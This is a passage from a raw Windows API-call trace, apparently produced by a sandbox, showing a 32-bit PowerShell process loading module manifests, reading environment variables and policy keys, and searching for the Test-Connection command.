"c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0127.840] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0127.841] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0127.841] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0127.841] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0127.841] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0127.841] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.841] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0127.842] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.842] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.842] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.842] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0127.842] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0127.842] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 Thread: id = 40 os_tid = 0xfc0 Thread: id = 41 os_tid = 0xfc4 Thread: id = 45 os_tid = 0xfd4 Thread: id = 51 os_tid = 0xfec [0143.234] CoGetContextToken (in: pToken=0x44df7f4 | out: pToken=0x44df7f4) returned 0x0 [0143.234] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x44df818 | out: ppvObject=0x44df818*=0x49fac4) returned 0x0 [0143.234] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x44df844 | out: pThreadType=0x44df844*=0) returned 0x0 [0143.234] IUnknown:Release (This=0x49fac4) returned 0x1 Thread: id = 52 os_tid = 0xff0 Thread: id = 53 os_tid = 0xff4 Thread: id = 56 os_tid = 0x84c Thread: id = 61 os_tid = 0x654 [0112.271] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.279] EtwEventRegister () returned 0x0 [0112.376] CoCreateGuid (in: pguid=0x59ef41c | out: pguid=0x59ef41c*(Data1=0x9e6b462b, Data2=0xbb36, Data3=0x471c, Data4=([0]=0xa6, [1]=0x77, [2]=0x67, [3]=0x5e, [4]=0x75, [5]=0x73, [6]=0x39, [7]=0x4c))) returned 0x0 [0112.385] QueryPerformanceCounter (in: lpPerformanceCount=0x59ef3fc | out: lpPerformanceCount=0x59ef3fc*=1175336228235) returned 1 [0112.386] GetCurrentProcessId () returned 0xf14 [0112.386] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf14) returned 0x3c0 [0112.386] EnumProcessModules (in: hProcess=0x3c0, lphModule=0x2336224, cb=0x100, lpcbNeeded=0x59ef2f4 | out: lphModule=0x2336224, lpcbNeeded=0x59ef2f4) returned 1 [0112.387] GetModuleInformation (in: hProcess=0x3c0, hModule=0xa70000, lpmodinfo=0x2336364, cb=0xc | out: lpmodinfo=0x2336364*(lpBaseOfDll=0xa70000, SizeOfImage=0x6b000, EntryPoint=0xa7d330)) returned 1 [0112.388] CoTaskMemAlloc (cb=0x804) returned 0x4f1ca98 [0112.388] GetModuleBaseNameW (in: hProcess=0x3c0, hModule=0xa70000, lpBaseName=0x4f1ca98, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0112.388] CoTaskMemFree (pv=0x4f1ca98) [0112.388] CoTaskMemAlloc (cb=0x804) returned 0x4f1ca98 [0112.388] GetModuleFileNameExW (in: hProcess=0x3c0, hModule=0xa70000, lpFilename=0x4f1ca98, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0112.389] CoTaskMemFree (pv=0x4f1ca98) [0112.389] CloseHandle (hObject=0x3c0) returned 1 [0112.389] LocalReAlloc (hMem=0x4c5850, uBytes=0x208, uFlags=0x2) returned 0x4f1d7b0 [0112.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0112.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ef02c) returned 1 [0112.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x59ef2f0 | out: lpFileInformation=0x59ef2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0112.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ef028) returned 1 [0112.390] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x59ef364 | out: lpdwHandle=0x59ef364) returned 0x74c [0112.390] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x2338598 | out: lpData=0x2338598) returned 1 [0112.390] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x59ef338, puLen=0x59ef334 | out: lplpBuffer=0x59ef338*=0x2338938, puLen=0x59ef334) returned 1 [0112.390] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x2338650, puLen=0x59ef2b4) returned 1 [0112.390] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x23386a4, puLen=0x59ef2b4) returned 1 [0112.390] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x23386ec, puLen=0x59ef2b4) returned 1 [0112.390] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x2338760, puLen=0x59ef2b4) returned 1 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x233879c, puLen=0x59ef2b4) returned 1 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x2338820, puLen=0x59ef2b4) returned 1 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x2338868, puLen=0x59ef2b4) returned 1 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x23388d8, puLen=0x59ef2b4) returned 1 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x0, puLen=0x59ef2b4) returned 0 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x0, puLen=0x59ef2b4) returned 0 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x0, puLen=0x59ef2b4) returned 0 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x59ef2b8, puLen=0x59ef2b4 | out: lplpBuffer=0x59ef2b8*=0x0, puLen=0x59ef2b4) returned 0 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x59ef2ac, puLen=0x59ef2a8 | out: lplpBuffer=0x59ef2ac*=0x2338938, puLen=0x59ef2a8) returned 1 [0112.391] VerLanguageNameW (in: wLang=0x409, szLang=0x59ef03c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0112.391] VerQueryValueW (in: pBlock=0x2338598, lpSubBlock="\\", lplpBuffer=0x59ef2bc, puLen=0x59ef2b8 | out: lplpBuffer=0x59ef2bc*=0x23385c0, puLen=0x59ef2b8) returned 1 [0112.937] QueryPerformanceCounter (in: lpPerformanceCount=0x59ef3c4 | out: lpPerformanceCount=0x59ef3c4*=1175391465209) returned 1 [0112.983] EtwEventRegister () returned 0x0 [0112.984] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ef234, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.213] EtwEventActivityIdControl () returned 0x0 [0113.213] EtwEventActivityIdControl () returned 0x0 [0113.213] EtwEventActivityIdControl () returned 0x0 [0113.228] EtwEventActivityIdControl () returned 0x0 [0113.228] EtwEventActivityIdControl () returned 0x0 [0113.228] EtwEventActivityIdControl () returned 0x0 [0113.350] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59eea3c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.350] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59eea3c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.435] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59eea28, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ef2a0 | out: phkResult=0x59ef2a0*=0x0) returned 0x2 [0113.502] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ef2a0 | out: phkResult=0x59ef2a0*=0x0) returned 0x2 [0113.508] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee9f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.516] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59eee38, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.518] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59eed54, nSize=0x80 | out: lpBuffer="") returned 0xbe [0113.518] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x59eecd8, nSize=0xbe | out: lpBuffer="") returned 0xbd [0113.519] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59eecc4, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.581] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f1d7b0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0113.584] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x59eeccc, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.585] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0113.585] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0113.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebc0) returned 1 [0113.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59eee84 | out: lpFileInformation=0x59eee84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0113.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebbc) returned 1 [0113.586] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee55c, nSize=0xbe | out: lpBuffer="") returned 0x0 [0113.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebc0) returned 1 [0113.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x59eee84 | out: lpFileInformation=0x59eee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0113.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebbc) returned 1 [0113.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eee7c) returned 1 [0113.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.589] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Test-Connection.*", lpFindFileData=0x59eec2c | out: lpFindFileData=0x59eec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebd4) returned 1 [0113.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee34) returned 1 [0113.590] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebc0) returned 1 [0113.591] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x59eee84 | out: lpFileInformation=0x59eee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0113.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebbc) returned 1 [0113.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eee7c) returned 1 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.591] FindFirstFileW (in: lpFileName="C:\\Windows\\Test-Connection.*", lpFindFileData=0x59eec2c | out: lpFindFileData=0x59eec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebd4) returned 1 [0113.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee34) returned 1 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebc0) returned 1 [0113.592] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59eee84 | out: lpFileInformation=0x59eee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0113.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebbc) returned 1 [0113.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eee7c) returned 1 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.593] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Test-Connection.*", lpFindFileData=0x59eec2c | out: lpFindFileData=0x59eec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebd4) returned 1 [0113.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee34) returned 1 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebc0) returned 1 [0113.593] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59eee84 | out: lpFileInformation=0x59eee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebbc) returned 1 [0113.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eee7c) returned 1 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.594] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Test-Connection.*", lpFindFileData=0x59eec2c | out: lpFindFileData=0x59eec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebd4) returned 1 [0113.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee34) returned 1 [0113.597] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59eed30, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0113.597] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59eed20, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0113.669] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0113.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.672] GetFullPathNameW (in: lpFileName="C:\\Program 